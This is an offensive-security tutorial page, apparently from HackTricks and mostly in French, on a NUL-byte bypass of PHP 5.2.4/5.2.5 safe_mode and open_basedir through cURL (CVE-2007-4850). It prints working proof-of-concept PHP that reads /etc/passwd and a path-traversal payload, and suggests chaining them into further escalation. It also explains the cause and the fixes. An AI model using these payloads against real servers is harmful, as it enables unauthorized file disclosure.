PHP 5.2.4 and 5.2.5 PHP cURL
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Cette page décrit une astuce ancienne mais encore utile dans les CTFs et les installations locales héritées, permettant de contourner les contrôles PHP safe_mode/open_basedir en utilisant l’extension cURL sur certaines versions PHP 5.2.x.
- Affectés : PHP 5.2.4 et 5.2.5 avec ext/curl activé.
- Impact : lecture de fichiers locaux arbitraires malgré les restrictions safe_mode ou open_basedir (pas d’exécution de code directe).
- ID : CVE-2007-4850.
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
One-liner PoC
Si safe_mode ou open_basedir sont actifs et que cURL est activé, ce qui suit renverra le contenu du script courant :
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
PoC plus explicite (lecture de fichier arbitraire)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
Notes:
- Use double quotes or chr(0) to inject a real NUL byte. Percent-encoding (%00) will not work reliably.
- Il s’agit d’un file read primitive. Combinez avec d’autres primitives (log poisoning, session file inclusion, etc.) pour une escalade supplémentaire quand c’est possible.
Pourquoi cela fonctionne (en bref)
La vulnérabilité provient de la manière dont PHP 5.2.4/5.2.5 effectuait les vérifications safe_mode/open_basedir pour les URL file:// dans ext/curl. La vérification analysait l’URL et validait un composant de chemin, mais en raison de la gestion des NUL-byte elle validait une chaîne différente de celle réellement utilisée par libcurl. En pratique, le validateur pouvait approuver le chemin après le NUL tandis que libcurl utilisait la partie avant le NUL comme conteneur d’URL, permettant un bypass qui aboutit à la lecture du fichier placé après l’octet NUL. Voir l’analyse originale et la macro affectée dans curl/interface.c pour les détails. [CVE-2007-4850].
Contraintes et correctifs
- Corrigé dans les versions 5.2.x ultérieures (par ex., distro builds patchés vers 5.2.6) en corrigeant l’analyse/validation dans ext/curl.
- N’affecte que des déploiements PHP très anciens ; safe_mode a été supprimé dans PHP 5.4 et les builds modernes n’exhibent pas ce comportement.
Bypasses historiques liés à cURL
- CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers allowed
file://access with embedded NULs to bypass open_basedir; fixed before 5.2.x. - PHP bugs #30609/#36223 tracked early cURL open_basedir issues using
file://without canonicalization. Any check before the NUL byte or withoutrealpath-style resolution is prone to the same truncation.
Astuces CTF
- Lorsque vous identifiez PHP 5.2.4/5.2.5 avec ext/curl chargé (cherchez
cURL support => enableddansphpinfo()et laPHP Versionexacte), cette technique fonctionne généralement même siallow_url_fopenest désactivé car ext/curl gèrefile://lui-même. - Si les chemins directs sont bloqués, essayez un relative traversal après le NUL, par ex.
file://x\x00../../../../etc/passwd. Le traversal est résolu par libcurl, et non par la garde open_basedir. - Vous pouvez encapsuler le payload dans un seul corps de requête HTTP pour déclencher le LFI via du code serveur vulnérable qui reflète des URLs contrôlées par l’utilisateur dans
curl_exec()(commun dans des endpoints legacy de type SSRF).
Voir aussi
Other disable_functions/open_basedir bypasses and modern techniques are collected here:
Références
- Ubuntu CVE entry with patch pointers and affected versions
- Technical writeup with code context (cxsecurity)
- PHP bug #36223 (curl bypasses open_basedir)
- CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


